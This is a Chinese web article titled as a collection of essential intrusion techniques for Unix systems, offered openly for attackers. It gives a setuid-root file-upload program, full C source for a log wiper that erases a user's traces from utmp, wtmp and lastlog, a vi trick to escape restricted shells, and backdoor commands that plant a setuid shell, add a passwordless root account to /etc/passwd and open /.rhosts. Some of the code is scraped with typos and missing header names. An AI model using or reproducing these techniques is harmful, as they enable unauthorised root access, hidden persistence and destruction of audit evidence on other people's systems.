必备的入侵技巧大全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【meiwen.anslib.com - 电脑资料】

    1 、UPLOAD

    侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !

    root 状 态 下, 运 行 Install 后,

    upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下,

必备的入侵技巧大全

    # chmod 755 install

    #./install

    $ more install

    #! /bin/csh -f

    cc upload.c

    cp a.out upload

    chown root upload

    chmod 755 upload

    chmod u+s upload

    $ more upload.c

    #include

    main()

    {

    char filename[48];

    printf( "This program will upload up.txt ASCII file to specified file\n" );

    printf( "XXX Copyright Reserved\n" );

    printf( "Where to upload (include path and filename)? " );

    gets( filename );

    upload( filename );

    }

    int upload( filename )

    char *filename;

    {

    FILE *fp,*outp;

    char c;

    fp=fopen( "up.txt","r" );

    utp=fopen( filename,"w" );

    if( fp== NULL ) {

    printf( "file not exist." );

    return 0;

    }

    for( ;; ) {

    c= fgetc( fp );

    if feof( fp ) break;

    printf( "%c",c );

    fputc( c, outp );

    }

    fclose( fp );

    fclose( outp );

    return 1;

    }

    2、破坏现场

    进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?

    编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.

    请使用专门的编辑器

    例子:

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #define WTMP_NAME "/usr/adm/wtmp"

    #define UTMP_NAME "/etc/utmp"

    #define LASTLOG_NAME "/usr/adm/lastlog"

    int f;

    void kill_utmp(who)

    char *who;

    {

    struct utmp utmp_ent;

    if ((f=open(UTMP_NAME,O_RDWR))>=0) {

    while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

    if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

    bzero((char *)&utmp_ent,sizeof( utmp_ent ));

    lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

    write (f, &utmp_ent, sizeof (utmp_ent));

    }

    close(f);

    }

    }

    void kill_wtmp(who)

    char *who;

    {

    struct utmp utmp_ent;

    long pos;

    pos = 1L;

    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

    while(pos != -1L) {

    lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

    if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

    pos = -1L;

    } else {

    if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

    bzero((char *)&utmp_ent,sizeof(struct utmp ));

    lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

    write (f, &utmp_ent, sizeof (utmp_ent));

    pos = -1L;

    } else pos += 1L;

    }

    }

    close(f);

    }

    }

    void kill_lastlog(who)

    char *who;

    {

    struct passwd *pwd;

    struct lastlog newll;

    if ((pwd=getpwnam(who))!=NULL) {

    if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

    lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

    bzero((char *)&newll,sizeof( newll ));

    write(f, (char *)&newll, sizeof( newll ));

    close(f);

    }

    } else printf("%s: ?\n",who);

    }

    main(argc,argv)

    int argc;

    char *argv[];

    {

    if (argc==2) {

    kill_lastlog(argv[1]);

    kill_wtmp(argv[1]);

    kill_utmp(argv[1]);

    printf("Zap2!\n");

    } else

    printf("Error.\n");

    }

    3、突破SHELL

    许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如 /bin/csh ,

电脑资料

必备的入侵技巧大全》(http://meiwen.anslib.com)。但有些系统提供给用户的却是菜单式的定制Shell,如 pink 。所以如果你想攻击这个系统的话,首先必须要冲破这个定制shell。

    我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:

    (1).在定制Shell中选择编辑文件,这时系统启动 vi。

    (2).在 vi 中,输入以下命令序列:(注意:输入的命令包括最前面的 ':' )

    :set shell=/bin/csh

    :shell

    3.这时,就像在DOS程序的File菜单中选择Dos Shell菜单项一样,系统启动一个Shell,而这个Shell刚刚被我们设定成 /bin/csh,因此我们就得到了一个命令行式的Unix Shell。

   

    4、后门

    进入一个系统以后随手留下一个后门确实是很好的习惯:) 这里介绍几种简单的后门设置方法:

    (1). setuid

    #cp /bin/sh /tmp/.backdoor

    #chmod u+s /tmp/.backdoor

    加上 suid 位到shell 上,最为简单方便.

    (2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd

    即给系统增加一个 id 为 0(root)的帐号,无口令.

    (3). echo "+ wyj">>/.rhosts

    即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.前提是目标的port 512or513or514 opening.

最新文章